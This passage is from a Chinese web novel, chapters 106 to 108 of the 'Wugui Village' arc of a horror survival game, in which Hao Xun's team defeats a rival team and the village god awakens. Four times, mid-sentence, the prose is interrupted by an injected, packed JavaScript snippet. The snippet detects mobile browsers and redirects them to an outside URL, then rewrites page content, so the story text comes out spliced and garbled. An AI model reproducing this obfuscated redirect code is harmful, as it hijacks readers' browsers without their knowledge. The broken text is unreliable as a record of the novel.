郝荨:…… “你在干嘛?” 方柚柚打了个哈欠:“等死。” 她的声音听起来都快要睡着了! 这就是10后的松弛感吗? 郝荨大为震惊,更让她震惊的是余逸,只见这个断了条手的男大在屋子里乱窜了一会儿,最后从灶台里翻出个小破勺儿,在堂屋里随便找了个位置就蹲下开挖! 山谷里的乌鬼村年代久远,屋中的地面是普通的黄土地,有点干燥,不太好挖,余逸抬眼看了看周围,什么液体都没找到,他又犹犹豫豫地看了看郝荨和方柚柚,然后慢慢低下头看向了自己的裤腰带。 郝荨的声音有些虚弱:“……你又在干嘛?” 最好不要是她想的那样! “荨姐,你看过那个电影吗?肖○○的救赎!我试过了,这个结界好像只管平面,往下就管不着了!别担心,你们好好休息,我自己可以的!” 方柚柚的声音从炕上幽幽响起:“别白费力了,就算我们能出去,外面也都是怪,你没灯,下场可能还不如待在这呢!” 余逸一怔,他抬头往外看去,小院的栅栏已经被数量众多的乌金踩塌,大大小小的黑色乌金们不断往里挤着,各色鬼火漂浮在空中,被它们盯着只感觉身上瘆得慌。 他不自觉地打了个哆嗦,放下了勺。 “荨姐,你说的后手……啥时候来啊?” 游戏已经进入到最后一阶段,他们当然不可能什么准备都不做就贸然上山,郝荨望着窗外,眉头微皱。 现在这个情况有些超出她的计算,也不知道对方会能不能遵守约定…… “嘎吱——” 大门被挤得摇摇欲坠,土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104309|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙上的灰尘不住往下掉,方柚柚呛咳两声,无奈换了个位置继续躺下。 “你这个年纪怎么睡得着的!”余逸紧张地抖着腿,怨念地瞪了方柚柚一眼。 土屋已经一丝光线都没有,全部的窗户缝隙都被乌金庞大的身躯填满,要是有人从远处望来,这里就像是一个巨大的黑洞,层层叠叠的乌金不断往里挤着,伴随着刺入耳膜的低语声,光远远看上一眼就会觉得浑身发麻,手脚发软。 “沙沙……” 郝荨紧皱的眉头一松,来了。 她循着声音摸去,摸到了余逸刚刚挖出的小坑。 “咋了荨姐?”黑暗里,余逸看不清楚,只感觉对方将自己一把扯开,然后蹲了下去。 “你喜欢这里啊?” 他好脾气地往旁边挪了两步,给郝荨留出空间。 郝荨没有说话,没过一会儿,那里忽然出现了一个小洞,一只小小的黑色乌金从里面一跃而出,密密麻麻的尖牙住在黑暗里闪着冷光—— “小心!” 余逸大叫一声,不过好在这只乌金冲到一半,便以一个极其不符合运动规律的姿态落回了洞里,这下他看清楚了,乌金脖颈处绑了一条粗麻绳,只要它不听话,那绳子就会不断收紧。 紧接着,洞里探出了一颗脑袋,郝荨一愣,怎么是他? “都在?”那脑袋又往外探了探,直到看到炕上的方柚柚才松了口气。 “安娃?!”余逸一把将安娃拉出洞口,“你来救我们了!太厉害了吧你!” 安娃绷着嘴角,努力严肃道:“快点,乌神大选已经开始了!” 说着,他就要拉着余逸钻回洞里。 郝荨:“等等。” 她嘴角噙笑,眼里却没什么温度。 “你怎么知道我们在这的?” 余逸一懵,随即他马上反应过来:“你跟踪我们?!” 安娃有些委屈,声音也冷了下来:“跟你们一起的那个蒙面男叫我来的,你们爱去不去!” “霍哥?他在哪?!” 安娃回头看了眼洞口,像是在跟谁说话,几秒后,他憋着气回过头来:“他说出了点意外,让你们先通关,对了。” 一枚圆溜溜的珠子塞进郝荨手中:“他让我把这个给你们。” 乌神尸骨,是村子里最后一枚无主尸骨。 郝荨看向黑洞洞的洞口,明明没有人影,她却好像跟谁对视上了一般,有股很明显的注视感。 不,那不是错觉,一个人影从洞口冒出头来,见到安娃也在,她愣了愣:“我来晚了?” 话音刚落,洞里就传来另一个闷闷的男声,费扬扬暴躁道:“别堵门口啊!我要喘不上气了!” 茶茶动作利落地撑住身子,单手跳出洞口,然后才像是想起什么似的重新挂上那副柔弱面孔:“玛弥姐姐,你没事吧?人家可担心你啦!” 余逸做出了个要吐的表情。 郝荨:“没事,现在情况怎么样?” “村里的乌金都跟疯了似的,到处乱咬人!村长临时通知大家,让我们去乌神庙里集合,说是要在那举行最终的乌神大选。” 费扬扬真是白长了那副肩宽腿长的好身材,手脚极其不协调地从洞口爬出,喘了口气道:“队长在村里拖延,留给我们的时间不多了。” “嗯,东西都准备好了吗?” “都备好了,”茶茶凑到郝荨跟前,好奇道,“玛弥姐姐,你和灵秀姐到底有什么计划啊?不能告诉我吗?” 郝荨笑笑:“很快你就知道了,走吧。” 也是时候结束这场游戏了。 106. 乌鬼村27 “怎么少了俩人?” 小高绕着乌神庙转了转,这地方他还是头一次来,看什么都很新鲜。 山里的天黑的很快,浓烈的雾气侵蚀着村民们脆弱的神经,他们默不作声,沉默地扛着重达数千斤的乌金们,那甚至已经不能算得上是猪,这些怪物们胖得太快,黑色的毛发看起来坑坑洼洼,很是斑驳。 从高处看下时,根本看不出这是山间野猪,倒更像是一节一节的黑色肉虫在蜿蜒的山中挪动。 它们巨大的身躯前垂落着一颗小小的脑袋,眼睛被撑成了一条细缝,光是被人扛着就已经消耗掉它们全部的力气,他们斜着眼往上看,像是在看山,又像是在那些居高临下的人类。 小高毛手毛脚的,不小心打翻了手中的长明灯,氤氲的雾气一下涌进他的鼻腔,一时间他的眼前都浮现出丝丝血气。 “小心点!”郑哥不轻不重地呵斥了一声,重新拿了盏灯给他。 小高“嘿嘿”笑着,挠了挠头。 “郑哥,你说那俩是触碰到什么规则把命丢了,还是已经知道自己的下场,干脆放弃了?” 郑哥望向正在和村长搭话的灵秀,沉思道:“看着不像,你小心点。” “嗨!大哥,你也太谨慎了!”小高不以为然。 “这局势都这样了,他们还怎么破?怎么破!” 郑哥将进入副本以来自己所有的行动都复盘了一遍,也笑了。 眼下拥有最多乌神尸骨的玛弥团队已经被他们关在山里,虽然没有在包里找到那些尸骨,但也无伤大雅,他只要确保自己手中的尸骨比灵秀的多就行。 更不用说他的乌金还能汲取村子里所有乌金的重量。 郑哥回过头去,只一眼就能看见那只属于他们的乌金,它看起来几乎有灵秀那只的三倍大,足足要三四十个真把式才能将它扛在肩上,都不用上称,光看就知道他们赢定了。 郑哥笑了笑:“这场游戏赢得很轻松,你回去可别又叫要休息十天半月啊,回去好好睡一觉,明后天我们就进下一场。” 小高惨叫一声:“郑哥不要啊!我还被打了呢!” 他把自己受伤的部位怼到郑哥眼前,被一下推开:“行了,我还不知道你?!进游戏前挨打那不是家常便饭!我已经决定了,听见了吗?阿卜呢?听到了吗?” “……啊?”阿卜缩着脖子点头,“听到了……” 郑哥皱了皱眉,看着阿卜那惨白的脸色和豆大的汗珠,有些不太满意。 这小孩天赋能力还不错,未来一定能派上大用场,可惜心态差远了,这不,都没让她亲自上手,只是让她在旁边看着都有些接受不了,这可不行。 罢了,接下来多进几个PVP游戏场,让她锻炼锻炼吧。 阿卜压根没有注意到自己在流汗,她眼神涣散地盯着虚空,那里漂浮着一颗水晶球,她的牙齿不自觉地打着颤: ‘请问……我们是不是马上就会通关?’ 【答案:否】 ‘什么意思?我们会输吗?’ 【答案:是】 ‘那、那我…会死吗?’ 【答案:是】 阿卜倒吸一口凉气,她一遍遍地问着同样的问题,可每次答案都是一样,无论她正问反问,哪怕是用别的问题侧面询问,答案都只有一个! 她焦虑地撕扯着嘴唇上的死皮,轻微的血气弥散。 怎么回事? 这究竟是怎么回事?! “郑、郑哥。” “嗯?”郑哥回头,明明是看起来斯斯文文的脸,却让阿卜一下子低下头去。 “怎么了?” 阿卜瞳孔神经质地颤抖着:“我、我的占卜结果——” “评比开始!!!” 村长一声暴喝压过了她的声音,郑哥没听清楚,想必又是她那套退堂鼓言论,他没有在意,注意力集中在村长身上。 马上就要通关了,他摘下眼镜擦了擦,重新调整好角度放回鼻梁。 村长此刻看起来不像之前和蔼,他脸上的每一条深刻纹路都板着,像是块没有感情的老树皮,树皮站在乌神像下,不知道是不是故意的,他站的位置恰好挡住了乌神的视线。 在他身后,乌神的眼珠轻轻转动,盯住了他的后脑勺。 一阵风从庙宇后方吹来,将供奉着的长明灯吹动,火光在寒风中瑟瑟发抖,一下子缩小了许多。 郑哥掏出剩下的所有乌神尸骨:“使用。” 【使用对象指定中——】 【指定成功。】 乌金本就庞大的身躯猛地膨胀起来,小高甚至能清晰地听见皮肤绷紧的声响,他皱起眉头捂住了自己的肚子。 郑哥余光瞥到,随意问道:“怎么了?” 小高捏了捏自己的肚子:“没事儿,吃多了吧,有点想吐。” 如果他现在拉起衣服查看,会发现他的肚子不止圆了一圈,甚至能从薄薄的皮肤下看到整个胃的形状,他的胃被撑大到几乎占满了整个腹腔,将其他器官挤压到角落,可就是这样,他的胃还在不断涨大。 ——就像台上那只不断膨胀的乌金一样。 一直沉默的乌金感觉到了危险,低沉的嘶鸣声从它嘴里发出,它想要躲开这股让自己变大的力量,却无处可躲。 “嘶昂——!” 它嚎叫着,想要踹开来称重的村民。 “好啊!再胖点,胖点好啊!” 村长的眼里闪烁着不符合年纪的狂热,他扔下拐杖,颤颤巍巍地上前,嘴里呢喃着:“胖点…再胖点……” 他不断高喊着,这模样看着就像是一个虔诚的教徒。 所有人都被他的姿态吸引,不由自主地也跟随者他向前走动,他们低语着、期盼着,张开手准备迎接新神明的诞生。 “有结果了!” 村长热泪盈眶地抚摸着这只乌金,全然不顾此刻的乌金如同一只下一秒就要爆炸气球,它的皮肤被撑到几乎透明,露出了下面的血管和肌肉纹理,斑斑点点的毛发遮盖不住,在肉球上形成了诡异的纹路。 “乌神!” 村长振臂高呼,他嘶哑地喊着,台下的村民们纷纷匍匐下去,也跟着喊道: “乌神!!!” 灵秀收回望向庙外的视线,转而盯住躲在人后的小高,这个寸头男从进本时就一直表现得冲动易怒,活脱脱一个二流子,现在却跟着人流一起伏倒在地,他咬紧牙根,痛得连话都说不出口。 宽松的冲锋衣下是高高隆起的肚子。 灵秀心中有数,稍稍松了口气。 “承让。” 郑哥朝她点了点头,脸上带着笑,是那种她最讨厌的笑。 老成的、世故的、暗含轻蔑的,独属于高位者的笑,像是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116963|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜悯她这个败者。 灵秀五指张开,露出了手中握紧的三枚乌神尸骨。 “郑先生,半场开香槟要不得吧?” 郑哥笑意一滞,紧接着他拧起了眉毛,不可思议地看向她:“你准备拿这些——打败我?” 他摇摇头,可惜道:“还以为你是个难得的聪明女人,没想到关键时刻脑子也这么不清醒。” 就这么三枚尸骨能扭转什么局势? “你睁开眼睛看看,我们的乌金已经超过了三千斤,你们的才区区一千出头,难道你想说这三枚喂下去,你的乌金能达到四千斤?” 郑哥神色怜悯,像是在看一个疯子。 灵秀:“当然不能。” 郑哥皱眉:“那你这是在做——” 一道女声突然从庙外传来:“我没来晚吧!” 然后又是一道喘着粗气的男声:“我靠,累死我了!” 众人回过头,郑哥愕然发现那竟然是被他困死在“乌鬼村”的玛弥三人! “这不可能!” 那可是他的王牌技能!技能等级很高,一般的传送技都没办法破解! 不过郑哥到底是有经验,他很快就收敛好脸上的震惊神色: “你们来得刚刚好,我们正要宣布结果呢。” “哦,那就好,来点人帮忙啊!” 彪哥:“来嘞!嚯,这么多啊!” 乌神庙外堆满了大袋大袋的白土,郝荨拉开拉链,蒸腾的热气一下从衣服里冒出,可真是累死她了! 方柚柚一下倒在兔子身上,也是累得一个字都不想说。 郑哥的视线在白土上转了两圈:“可别说我故意卡你,即便你现在把这些都喂给你的乌金,恐怕也长不了多少,别说我了,连第二名恐怕也比不上。” “我劝你啊,还是别做无用功了。” “谁说我要喂给自己的乌金了?” 郑哥的眉头不自觉抽动了一下,他强装镇定:“不喂给自己的,难道要送给灵秀?你准备牺牲自己和团队的性命——去帮她获胜?” 说到最后,他忍不住提高了音调。 哪里来的圣母啊!还以为自己是小说主角不成?! “这样帮她对你有什么好处?是,我是坑了你们,但第一轮的时候他们也同意了不是吗?何况,”他快速估算了一下白土的数量,“就算把这些白土都送给她,也未必能赢,何必白费力气呢?” 郝荨耐心听他说完,扭头与灵秀相视一笑:“村长,我要使用白土。” 见她不识好歹,郑哥的脸色一下阴沉下来,他阴鸷地看着这两个女人,心中盘算,这个数量的白土让乌金吃下突破三千斤应该差不多,但好在他还有底牌,能从对方的成长中抽成。 嗯,问题不大。 正准备叫上阿卜和小高来迎接他们的胜利,却发现这两人不知道为什么都蹲在角落,尤其是小高,看起来身体很不舒服的样子。 郑哥摇摇头,这俩人真是一到关键时刻就掉链子! 他换了个舒服的姿势,准备看手下败将的垂死挣扎,村长被搀扶着走过来:“你要……把这些喂给你选择的乌金先生吗?” 郝荨忽的咧开嘴,露出了个大大的笑:“不!我要将这些白土——喂给它!” 她抬手指向高台,郑哥一愣,顺着她手指的方向望去,居然是他选中的那只乌金! 107. 乌鬼村28(完) “我要喂给它!” 郑哥心脏扑通一声重重跳了一下:“你什么意思?” 郝荨满脸无辜:“没什么意思啊,不是你说帮你帮她都一样吗,我思考了一下,确实如此,所以决定帮你咯!” 她说得越坦然,郑哥却感觉心跳越来越快,像是有什么大事要发生。 郑哥:“不行,我不同意!” 郝荨耸了耸肩:“我想,这应该用不着你同意?” 她转身看向村长:“村长爷爷,作为咱们乌鬼村的乌神大人,当然越大越好不是吗?” “当然!”村长看着堆积如山的白土乐开了花,“大啊,大点好!大点好啊!” “所以啊,我可不是为了你,而是在为村子做贡献,你怎么能拒绝呢!” “你!” 郑哥一时找不出她话语中的漏洞,竟真让她带着村民们把白土扛上了高台。 刹那间,一个人影突然从众人身后冲了出去:“不能喂!!!” 她冲得太猛,这股冲力一下将高台撞得摇摇欲坠,别说台上的村长和其他人,就连沉重的乌神像都剧烈晃动了几下。 “不行!不能让她喂!!!”阿卜惨叫着,被村民们压住。 她拼命回头,想要喊郑哥,话还没来得及出口,就被乌大娘捂住了嘴巴。 “……吓老子一跳。”彪哥五大三粗的手拍了拍自己的胸口,“她咋了?” 灵秀没有回答,她的眼神淡然地从阿卜身上滑过,又略过了上前解救她的郑哥,最后望向了正在狼吞虎咽的那只乌金。 “呼噜…呼噜……” 乌金拼命吃着,一袋又一袋的白土被填进它的嘴巴,它好似永远不知满足一般。 “呃——呃!” 彪哥嘟囔道:“什么声音?猪在叫?” 但很快他就意识到了不对,他们离高台有段距离,这痛苦的低吼声却仿佛近在耳边! 他忽的回头:“我靠!什么玩意儿!” 一个肉眼已经看不出人形的黑色怪物趴在那,发出痛苦的吼声,他的皮肤下鼓鼓囊囊,尤其是肚子,像是有什么就要破肚而出。 “小高?小高!” 郑哥瞬间一个头两个大,他顾不上跟中邪一样的的阿卜,快步冲到小高跟前。 “小高?!” 可无论他怎么叫喊,那穿着小高衣服的猪形人都没有半点反应,只不断地嘶吼着,痛苦极了。 他不是傻子,很快,郑哥就联想到了台上的乌金。 “住手!不准再喂了!” 此刻,郝荨手上正拿着最后一袋白土,她抬眼望向郑哥,然后歪了歪脑袋,手一松,那袋白土正正好落在乌金口中。 应该差不多了,郝荨往后退了几步。 她没有管郑哥大喊大叫冲过来的身影,眼前的这只乌金身形与记忆中那只被关在地窖的“乌神”相差无几,而随着乌金将最后一口吞吃下肚,它的肚子剧烈鼓动着。 这可是真正的乌神都无法承受的重量,何况……它这只假冒的乌金。 “郑、郑哥,救我!救我!救——啊啊啊啊啊啊啊!!!” 小高趴在地上不断翻滚着,一声剧烈的惨叫过后,两颗圆溜溜的东西滚到了郑哥脚尖,他低头一看,瞳孔瞬间颤抖起来。 那赫然是小高的两颗眼珠! 黑红色的血液从小高的眼眶处流出,他的声音逐渐变得高亢:“我的眼睛!我的眼睛呢……我的眼昂!……嘶昂!我昂!” 边叫边往外大口大口吐着血块,黑色的毛发从身体的各个缝隙中生长出来,眼眶、耳朵,甚至是喉咙! 再一眨眼,他那如同乌神一般的身体就径直撕裂开,血流成河。 “乌神!!!” 村长大叫,吸引了所有人的注意。 随着小高身体的迅速干瘪,高台上的乌金也在转瞬间轰然倒塌,化为乌有。 他们的身体四分五裂……就像是当年的乌神那样。 村长重重咂了咂嘴:“可惜啊可惜,多好的乌神啊。” “小高!小高!!!”郑哥目眦欲裂。 怎么会这样?! 是她做了什么手脚?还是规则有漏洞?! 郑哥此刻头脑前所未有的混乱,乌金没了,小高死了,那他这是——输了?! 他来不及思考究竟为什么会发生这些事,心中只有一个想法,他不能输。 忽的,郑哥脚步一动,朝高台冲来—— 只要另外两只乌金也没了,按照游戏规则,他们就全是输家! 迷雾游戏很可能会让他们进行加时赛! 只要杀死那两只乌金! 余逸吓了一跳,他下意识想用完好的那只手去拦:“你干嘛?!” 郝荨立刻意识到对方的想法,她扭头催促道:“村长,快宣布!” “啊?哦,好,好,”村长颤抖的手指向灵秀那只乌金,“我宣布,今年乌鬼村……” 郑哥跑得越来越快,他一把拉下身上背着的背包,双目暴突,手上青筋绷起,用力将包裹打开,扔向高台之上:“阿卜!” 往常唯唯诺诺的阿卜一反常态,身手灵活地从乌大娘手下挣脱,几步翻身爬上高台,村民们阻拦不及,让长明灯从包裹里顺着惯性落在了台上的乌金身上,油脂打翻,散发出一股令人皱眉的味道。 眼看着阿卜就要点火,郝荨咬了咬牙,深吸一口气朝阿卜的方向飞扑而去。 两人缠斗起来,就在这时,乌神庙突然重重晃了一下,一股令人毛骨悚然的凉意袭来,众人向外看去,余逸大声骂了一句:“淦!它们来了!” 一只又一只乌金从山下爬了上来,新生的乌神终于找到了这里。 不知道是不是这刺激太大,村长一下子变得流利多了:“今年乌鬼村的乌神已经诞生了,胜利者——灵秀!” 他干瘦的身体现在灵活得很,几步就走下了高台,将最后一个木盒递到了灵秀手里。 “结束了!”郝荨抓住机会,重重给了阿卜一下。 这一下似乎将她的神志打回了些许,她的脑子还没反应过来发生了什么,眼泪却已经不受控制地流了出来:“我、我不想死……” 她想要伸手将眼泪擦掉,伸了几下都没成功,她这才发现自己手软得不像话。 阿卜求救地望向郑哥,嘴里喃喃道:“我不想死……我才刚上大学,我妈就我一个女儿,我死了她会活不下去的…我不想死,郑哥……郑哥你那么聪明,救救我!救救我……” 郑哥站在原地一动不动,像个木头人一样。 见他没有反应,阿卜才慢慢反应过来,她闭上了嘴,嘴唇还在不由自主颤抖着。 她要死了吗? 阿卜僵硬地抬起头,看向郝荨,她想要强迫自己露出释然的笑,还想给对方道歉,但最终,她什么都没做出来,就那样在恐惧中一点点缩小、缩小……然后变成了一只黑色的瘦小乌金。 乌金温顺地垂下头去,眼帘低垂,哪怕是落在村民手上也没有丝毫反应。 “我不信。”郑哥突然扭头对灵秀开口。 他双目赤红,声音又低又急,像是在自言自语:“我不信真的有人愿意牺牲自己去救其他人!你的天赋是操控?还是洗脑道具?你违反了游戏规则!” 灵秀眼神毫无波动,她没有搭理正在异化的郑哥,而是将自己剩余的乌神尸骨连同那个木盒一起递给了郝荨。 “交易达成。” 郝荨笑了笑,连同安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126207|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃给自己的那颗乌神尸骨一起正好五颗,她松了口气,虽然和原计划有些出入,但总算是达成了目的。 【检测到玩家获得乌神尸骨X5,已自动为玩家兑换进度】 【兑换成功】 霎时间,那枚白色的乌神尸骨身上浮现出屡屡金光,它脱离郝荨的手掌,晃晃悠悠地飞到了残破的乌神像上。 朦胧的光晕从神像中心一圈一圈向外扩散,所有人都不受控地凝视着祂的双眼,肩膀一沉,一股混合了怨愤、悲伤和懊恼的情绪刺入众人纤细的神经。 【陨落的神明自黑暗中苏醒。】 乌金如潮水般涌进破败的乌神庙中,村民们你挤我我挤你地冲到乌神像后的小空间,举起供奉亲人的长明灯。 “走开!新的乌神已经选出了!” 【虚伪的罪孽将回归本位。】 “啊!!!我的腿——” “不要!啊啊啊啊啊!” 【贪婪铸造的高塔终于倒塌。】 郝荨身体一颤,她的视线忽然拔高,穿过屋顶、树丛,然后对上了一双沉静的眼睛。 乌神高高漂浮在天空中,安静地看着村民们一个个弯下腰去,双手着地,身形不自然地折叠扭曲…… 【你唤醒了我,我能给予你什么?】 郝荨望向乌神,乌神黝黑的毛发中亮起了一只只眼睛,这些眼神很熟悉,和当年乌鬼村的孩子们很像。 【想救下他们吗?】 乌神迈开脚步,踏着虚空来到她面前,蛊惑着,像是直直问到她心里。 郝荨摇了摇头:“他们或许无辜,或许不无辜,那都与我无关。” 她从不管能力以外的闲事。 【那你想要什么?】 “你能起死回生吗?” 乌神有些惊讶,但很快,祂的声音再次响起: 【那不属于我的职责。】 郝荨有些失望,也是,毕竟只是个B级本的BOSS,她很快调整好情绪,积极询问:“那你能为我做什么?能帮我干翻这个游戏吗?或者给我开通风○○影功能,让我无限抽卡?再不济,给我剧透一下下场游戏的内容?” 乌神一时没有接话,祂见过的人类要么很善良,对祂尊敬又友善,要么自私冷血,别说神明了,哪怕是同类都能下得去手,可像眼前这人这样的,祂还从未见过。 她好像既不把祂当神,也没把祂当人。 【……我做不到。】 郝荨失望地摇了摇头,恨铁不成钢道:“你怎么这么没有上进心!当年那种环境,正是收割信徒的好时候哇,你明明都有了亲近的狂信徒,却窝在这山里老实种田!还被外乡人夺走性命,太过纯善只会受人欺压,你真是白长这么大个头了!” 乌神:…… 不知道为什么,明明在被人类骂,祂却没有一丝一毫的怒意,一定是因为对方说的有道理! 郝荨蔫蔫道:“算了,你就把我们安全送出本吧,其他你想干嘛干嘛。” 一只眼睛从乌神的身后隐去,然后在祂的额头上重新显现,这只眼睛黑白分明,圆溜溜的,看起来还是个小孩,眼神好奇。 郝荨记得这只眼睛,它属于村长阿婆家的那个小女孩,她忍不住伸手摸了摸,乌神没有躲开。 “别难过了,错的又不是你。” 不知何时起,她的身边多出了一个虚化的黑影,个子很高,肩宽腿长,安静地待在她身后一步的位置。 郝荨没有发现,她只是认真地看着乌神,开口道:“如果真的有奇迹发生的话,那我希望,你们能平安又自由的生活,不要再遇到这些糟心事了。” 乌神身上的眼睛眨了眨,缥缈的声音响彻天际: ——【如你所愿。】 108. 结算 视野逐渐下沉,灵魂重新有了实感,郝荨动了动手脚,她回到了自己的身体。 被血色雾气包裹住的乌金抬腿将庙宇踏破,在乌神像的指引下奔向乌鬼村的村民们。 灵秀试探着走了过来,她还以为一场大战不可避免呢,没想到这些乌金就好像没看到他们似的,从他们身旁绕过。 郝荨爬了起来,现在的乌神庙可以说是哀鸿遍野,村民们哭喊着,站都站不住,纷纷倒下变成了乌金的模样。 不知道过了多久,雾气渐渐散去,天空中泛起蒙蒙的亮光。 黑夜结束了。 乌神庙的牌匾被踏碎,四处都是破败荒芜之感,青草从碎石中颤巍巍探出,迎接了第一缕山风。 一扇闪着白光的传送门出现,郝荨最后看了一眼重新合上眼的乌神,带着余逸和方柚柚离开,进入门时,三个人的身影忽然闪烁了一下。 “我眼花了?”彪哥用力揉揉眼,“咋好像看到了四个人。” 灵秀没好气地白了他一眼:“什么记性,他们不本来就是四个人吗?” “行了,任务完成,麻烦在论坛给我们点个五星好评哦!” 茶茶笑眯眯的,瞥了眼欲言又止的费扬扬:“当然,辛苦二位啦。” 眼见着灵秀和彪哥也踏入时空门,费扬扬终于忍不住骂道:“能不能别演了?你知道我看着你这样有多想吐吗?我是哪里得罪你了吗为什么你要这样对我?!” “嘘——” 茶茶伸出手指,制止了对方的连声质问。 此刻,她脸上那副茶里茶气的表情倏然一收,整个人的气质在眨眼间发生了巨大的变化,明明还是那张脸那个身高,却怎么看怎么怪异。 就像一个成年人的灵魂塞在一个少年躯壳中一样。 “抱歉,”茶茶微微挑眉,她的声音慢慢低沉下去,“为了表示我的歉意,这只蝴蝶送给你。” 她抬起手,一只闪着蓝色荧光的蝴蝶从手中飞起,流光闪烁,吸引了费扬扬的视线。 “送你——” 茶茶的身形向上拉长,“她”的肩膀变得宽阔,四肢修长,脸庞也逐渐有了棱角。 “——一场美梦。” 语毕,“她”,不,应该是“他”转身向门内走去,白光笼罩在他的脸上,让人有些看不清楚。 “费扬扬”的双眼变得迷离起来,片刻后,她的身形缩水成了茶茶的模样,或者说,她才是真正的茶茶。 而那位假名“费扬扬”,真实代号为“黑8”的男人将头发全部撸到脑后,吹起了口哨。 “玛弥”……这跟他说的,可不太像啊。 * 【恭喜玩家通关B级副本“乌鬼村”,通关评价:S】 【你获得了:“神明赠礼”x1,“升阶道具”x1】 【玩家在游戏中达成了“真正的乌神”结局,获得特殊奖励,请玩家静候佳音。】 “特殊奖励?是什么呀?” 郝荨一下来了劲,捏住神使问道。 【我也不知道,放开我!】 毛球感觉自己跟个捏捏一样被揉来搓去,毫无尊严! “哇!竟然还有我们尊敬的神使大人不知道的?!好——神——奇——哦!” 毛球眼睛一下子闪出无数雪花,虽然园长在夸它,可为什么总觉得浑身都在痒呢? 它明明没有实体呀! 【超出权限,无法回答。】 郝荨不再为难它,她没有急着抽卡,而是先点开了升阶道具,在迷雾游戏里,这个道具可以升阶对应品阶的道具或技能,非常好用,但同时它只在中高级副本出现,掉率也低,所以在论坛的价格炒的很高。 她现在已经不那么缺钱了,郝荨把玩了片刻,便果断决定使用。 【升阶道具使用,本道具使用范围为蓝品及蓝以下,请玩家选择使用对象——】 “我要升级武器。” 【好的,现在为您升阶——】 【升阶成功。】 金光散去,【弗兰德斯之木仓】重新出现在郝荨眼前。 【武器:弗兰德斯之木仓】 【品阶:蓝→紫】 【描述:此木仓使用特殊子弹,可对无实体怨念造成伤害,子弹由玩家的“理智”凝结而成,超负荷使用将进入疯狂状态,请玩家小心使用。】 【备注1:理智损耗降低,玩家不再那么容易陷入疯狂状态。】 【备注2:正如抽卡游戏应该有保底,神木仓手游戏也应该有,随着玩家理智值的降低,射击准确度将随之提高。】 郝荨:! 她心心念念的瞄准挂! 郝荨拿过弗兰德斯木仓,这柄小小的左轮手木仓外观看上去没有多大变化,只隐约觉得表面更亮了些,像是锋利的月光,她单眼闭起,对着窗外就连发数木仓,随着头痛逐渐显现—— “砰!” 离房间百米开外的游轮上空忽然飞起一群乌鸦,挂在船上的鱼人节气球被精准单点,炸了开来。 郝荨大喜,她查过资料,左轮手木仓的有效射程通常在五十米左右,而真正能够形成杀伤力的距离还要减半,没有经过专业训练人根本不可能射中这只气球,何况她刚刚根本没有认真瞄准! 这下总算是对接下来愈发困难的游戏有了些保障。 郝荨思忖片刻,现在她的准确度有了保障,只差杀伤力了,有机会的话她准备再升一下这把武器,想好后,她兴致勃勃地抽取了神明赠礼。 【你获得了特殊道具:真实之眼】 【特殊道具:真实之眼】 【描述:有些人的眼睛天生就能比别人看到更多。使用后,玩家将勘破虚妄,得到更多关于世界的真相。】 【警告!使用过此道具的玩家都已陷入疯狂,你——准备好迎接真实的世界了吗?】 一枚黑色的眼球出现在她掌心,郝荨轻轻吸了口冷气。 这颗眼球……怎么长得这么像毛球? “荨姐!” 余逸快步从远处跑来,身后不紧不慢跟着方柚柚和一个陌生帅哥。 “……霍格?” 虽然她早就感觉到对方应该长得不差,但也没想到真人竟然这么帅,不过比他长相还要引人注意的是他的气质,肩宽腰窄,像是一把未出鞘的利刃,随时都能爆发。 他目光有些懒散,只偶尔抬眼扫视,给人一种这家伙不是人,而是一只正在晒太阳的黑豹的错觉。 霍格微微点头,他身上背了个大包,不止他,方柚柚和余逸也拖着个行李箱,白兔子趴在箱子上晃晃耳朵,给她打了个招呼。 为了应对接下来的游戏,郝荨主动提出让大家一起住在游乐园里,这样安全性有了保证,还可以培养平时的默契。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137132|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哇!荨姐,你这儿还招人吗?员工宿舍都这么好!” 余逸跑进小楼转了一圈,非常满意,这可比他们学校的八人寝好多了! 